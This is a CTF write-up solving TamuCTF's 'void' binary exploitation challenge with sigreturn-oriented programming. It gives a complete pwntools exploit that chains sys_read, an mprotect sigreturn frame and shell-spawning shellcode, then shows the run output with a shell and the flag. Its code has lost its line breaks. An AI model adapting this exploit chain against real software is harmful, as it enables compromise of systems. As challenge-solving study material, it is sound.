## Solution
I didn't solve this one during TamuCTF but I saw ```sky#0004```'s [solve in Discord](https://discord.com/channels/962465945882853407/965296241846145114/965322156965761054) and went back and relooked at the problem with the benefit of their solution. I based my solution largely on their approach. 
I had been stuck on the fact that I needed to call ```sys_mprotect``` to enable RWX permissions. Since there was a ```syscall, ret```, I was hopeful I might be able to ```pop sys_rt_sigreturn (0xf) into rax```, use SROP to call ```sys_mprotect```, and set the ```rdi, rsi, rdx``` registers . However, there were no gadgets to write to rax. I made the mistake of not realizing that ```sys_read``` would return the bytes read into rax. 
After figuring that out, putting the exploit together is pretty straightforward. First make ```sys_read``` syscall to set rax=0xf. Next, use SROP for ```sys_mprotect``` and mark the address of the shellcode as RWX. Return in the program's entry, adjust the stack, and execute the shellcode. 
```pythonfrom pwn import *import time
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''break *0x401018continue'''
def start():    if args.GDB:        return gdb.debug(e.path, gdbscript=gs)    elif args.REMOTE:        return remote("tamuctf.com", 443, ssl=True, sni="void")    else:        return process(e.path)
p = start()
'''0x401000: mov rax, 0; mov rdi, 0; mov rsi, rsp; mov rdx, 0x7d0; syscall;    rax = sys_read, rdi = fd = stdin, rsi = char* = 'rsp', rdx = len = 0x7d40 '''sys_read = 0x401000
'''0x401018: syscall; ret'''syscall_ret = 0x401018
start = 0x400020 entry = 0x400018 
'''stack_adjust + shellcode '''shellcode = asm('add rsp,0x68')shellcode += asm(shellcraft.sh())
def pause(stage):    print("[+] Pausing Before Sending Stage: %s" %stage)    if args.GDB:       raw_input("[+] Press [Enter] To Send")    else:       time.sleep(0.1)
def srop_mprotect():    chain = p64(sys_read)    chain += p64(syscall_ret) 
    '''sys_mprotect(rdi=start,rsi=len(shellcode),rdx=prot=RWX)'''    frame = SigreturnFrame()    frame.rip = syscall_ret    frame.rsp = entry    frame.rax = constants.SYS_mprotect    frame.rdi = e.address     frame.rsi = len(shellcode)     frame.rdx = 7
    p.send(chain + bytes(frame))
def read_15_bytes():    pause("Reading 15 Bytes (rax=0xf=sys_rt_sigreturn) ")    chain=p64(syscall_ret).ljust(constants.SYS_rt_sigreturn)     p.send(chain)
def exec_shellcode():    pause("Shellcode")    p.send(p64(start) + shellcode)
srop_mprotect()read_15_bytes()exec_shellcode()
p.interactive()```
Running the exploit returns the flag
```python3 pwn-void.py BIN=./void REMOTE[*] '/root/workspace/tamu-ctf/void/void'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] Loaded 2 cached gadgets for './void'[+] Opening connection to tamuctf.com on port 443: Done[+] Pausing Before Sending Stage: Reading 15 Bytes (rax=0xf=sys_rt_sigreturn) [+] Pausing Before Sending Stage: Shellcode[*] Switching to interactive mode$ cat flag.txtgigem{1_6u355_7h475_h0w_w3_3xpl017_17}``